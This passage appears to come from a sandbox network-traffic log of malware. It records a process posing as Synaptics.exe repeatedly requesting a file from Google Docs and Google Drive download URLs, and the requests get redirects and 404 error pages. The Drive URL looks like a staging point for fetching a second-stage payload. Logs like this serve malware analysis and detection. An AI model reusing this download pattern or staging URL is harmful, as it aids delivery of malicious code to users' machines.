2024-12-30 03:59:46 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
141	192.168.2.4	49947	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:47 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-K1KtW98Mp-I4ZT0dOhBwNw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
142	192.168.2.4	49949	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:47 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:47 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7mvEOf972L3aJqtsYq6boVPpNe7EAHY2MpEzyaLbNDENn3FOy9m01YTUVYE68crJkKoqhDsYY Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:47 GMT Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-pButS8NVCnEgLrjmwBdgPg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:47 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:47 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 43 63 32 58 63 65 53 6a 76 78 35 51 6a 6c 70 35 2d 43 55 79 62 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="Cc2XceSjvx5Qjlp5-CUybw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:47 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
143	192.168.2.4	49948	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:47 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:47 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-XkwIP5uVCVybJP_4Zn-lRg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
144	192.168.2.4	49950	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:48 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-7E62DCfIJreXVCcQ4l7mag' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
145	192.168.2.4	49951	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:48 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:48 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4CDWvYQOyVlgqZx2m9j5O0OsBbK2Lh2yXhIu0NkWEC4eSrNQsaZ7JK-tsaEK45r03iMkGiEUo Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:48 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: script-src 'report-sample' 'nonce-ss4z_i2c6dAdE-eS-wHAQQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:48 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2024-12-30 03:59:48 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6c 62 49 6d 76 42 6b 67 62 5f 65 7a 70 6d 5a 4f 7a 75 33 77 71 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="lbImvBkgb_ezpmZOzu3wqw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2024-12-30 03:59:48 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
146	192.168.2.4	49953	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:48 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:48 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'report-sample' 'nonce-XI2aCXThRaEkor-HilKdWw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.4	49952	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:48 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:48 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC7GdMQ_1GDU9YW0PeH4Dg-MLrL-KdDH169tClcsZOrOKxxQwpPPd9XAVD40dDwz2O6S Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:48 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-579eDfgSk3tWZ5pZzvWEyw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2024-12-30 03:59:48 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2024-12-30 03:59:48 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 36 5f 69 45 6b 35 4f 4f 42 63 4d 31 31 4b 42 73 78 6d 32 68 72 41 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="6_iEk5OOBcM11KBsxm2hrA">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2024-12-30 03:59:48 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.4	49955	142.250.181.238	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:49 UTC	344	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
2024-12-30 03:59:49 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 30 Dec 2024 03:59:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-NWqMY8td4vgJVgLBaNQyXg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.4	49956	142.250.186.129	443	5780	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-30 03:59:49 UTC	387	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=KZ7nPffwmFJuecPBYkTgj9o0Wg5xgIAtkZGmKeFEtVK_yIOnS3dX1hyC5NpZCfv0-4fpm_502tzUk1orbCiQoVAJo9C37QE_3LvtLcfGxAF8D3Oq1XIJNFGrxd4aflTZHQlukipdeVFIxx2i_7ZXQ_0JTnIe_5KuJkGrFW1bhZinXk3YLIXSJ04
